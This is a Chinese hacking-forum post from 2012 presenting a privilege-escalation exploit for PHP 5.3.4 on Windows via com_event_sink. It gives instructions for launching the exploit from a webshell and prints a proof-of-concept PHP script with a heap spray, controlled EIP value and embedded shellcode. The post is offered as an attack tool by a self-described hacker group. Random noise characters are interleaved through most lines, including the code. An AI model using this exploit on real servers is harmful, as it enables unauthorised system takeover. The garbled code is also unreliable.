找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
; a( `9 v, |, k, t; w+ \: Z
  d; B7 c' N" |测试方法如下:cmd /c x:\php\php.exe x:\test.php
5 h, \; l0 D: _7 N  I* L7 I( J8 L( P" I* A. j; L
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php9 m& u# E+ A/ G# P9 T
这里是两个测试的截图:
# C" |3 a3 I- `6 b& b1 P- D" d( o4 w. e0 W/ d" W3 {! q9 C3 ~$ X

1 |  I  c0 I& H0 `' L7 x5 M
( ~; y' W& G3 T& ~+ V3 l& Q5 {; T2 S

1 d0 d5 z* Q- k5 \; G6 K成功利用此漏洞的攻击者将获得系统的最高权限
  M& k( u! P% l) s  _5 x) R0 l7 W
" c) U- ?- t' a& t& h2 k  ^
" A3 w: B+ `5 G
: ~( i$ V# Y6 O. ?/ l2 w5 ~) m7 `: J! s& E/ m
8 z8 @, G1 _! \$ H9 u$ G7 x' B& y! v
关于漏洞分析稍后附上。一下是PoC代码:
4 C  a: C* ^7 ~/ H( v: w% O& z
  {' d. v+ \! j# ^# `<?php
# y( i) ^( {; ?1 L, y. E9 R$ _//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞/ o+ g# `0 O9 U; `) k
//$eip ="\x44\x43\x42\x41";- r' L! N% G- q9 u+ O( a
$eip= "\x4b\xe8\x57\x78";
; b( ]8 X/ h+ J9 |9 P& c$eax ="\x80\x01\x8d\x04";
( `4 Y) G: g7 I! n' v- p$deodrant="";/ A0 G! {8 z5 y5 Y* y% {: C. k
$axespray = str_repeat($eip.$eax,0x80);  R0 e* ?' X( m) u  P
//048d01906 b0 Q: U! ?0 k* }0 @; B4 u
echo strlen($axespray);
) O8 F, c- }- Y, D3 secho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
% @/ e2 h) R$ \, decho "Silic Group Hacker Army - BlackBap.Org";
* x! f/ @" E* k% g' l+ |& S7 J//19200 ==4B32 4b00
+ ?7 a  I, T2 X1 {* afor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
* |/ G* I7 f5 z& S$terminate = "T";/ B# Q7 o% w' e# d
$u[] =$deodrant;
6 Q' F7 j6 S8 W1 [& B, }, H$r[] =$deodrant.$terminate;
* Z" _* f2 Z, f/ t6 V4 G! a$a[] =$deodrant.$terminate;
3 y/ p2 q+ T1 h  z$s[] =$deodrant.$terminate;  t& U* |3 F5 R" c7 D
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
# y' R3 S: i  o7 N  @. E+ \$vVar = new VARIANT(0x048d0000+180);* X9 d; ~. l- z
//弹窗代码(Shellcode)
5 N& w1 D! A! V6 A. O  J' d# i7 R$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
) r' S$ t' k# j7 v. z$var2 = new VARIANT(0x41414242);5 l  {1 {3 G3 e; @1 l
com_event_sink($vVar,$var2,$buffer);
6 U( o: k+ N) v. L: L?>
4 b" O5 E' J6 o" G

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表